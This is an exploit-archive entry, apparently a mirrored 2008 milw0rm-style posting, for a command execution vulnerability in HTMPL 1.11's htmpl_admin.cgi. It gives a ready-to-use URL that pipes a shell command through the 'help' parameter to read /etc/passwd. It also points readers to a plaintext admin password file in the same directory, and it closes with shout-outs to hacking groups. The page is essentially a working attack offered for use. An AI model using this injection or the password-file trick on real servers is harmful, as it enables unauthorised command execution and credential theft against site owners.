HTMPL 1.11 (htmpl_admin.cgi help) Command Execution Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : HTMPL 1.11 (htmpl_admin.cgi help) Command Execution Vulnerability
# Published : 2008-12-10
# Author : ZeN
# Previous Title : The Net Guys ASPired2Poll Remote Database Disclosure Vulnerability
# Next Title : eZ Publish < 3.9.5/3.10.1/4.0.1 Privilege Escalation Exploit

Software : HTMPL v1.11
Download Link : http://vmeste.org/templ_ex/doc/1.html
Vulnrability : Command Execution
Severity : High
Author : ZeN
Website : http://dusecurity.com / http://darkcode.me/
 
Exploit :
site.com/cgi-bin/htmpl_admin.cgi?help=|cat /etc/passwd
 
 
A few other little..... tricks
The admins password is kept plaintext in the file 'adminpass', you can just access it directly
in the same directory.
 
Thanks str0ke ;)

Shouts to :
DU Security Group
DarkCoders
WL-Group
Milw0rm
EnigmaGroup
IWannaHack
HackHound

# www.Syue.com [2008-12-10]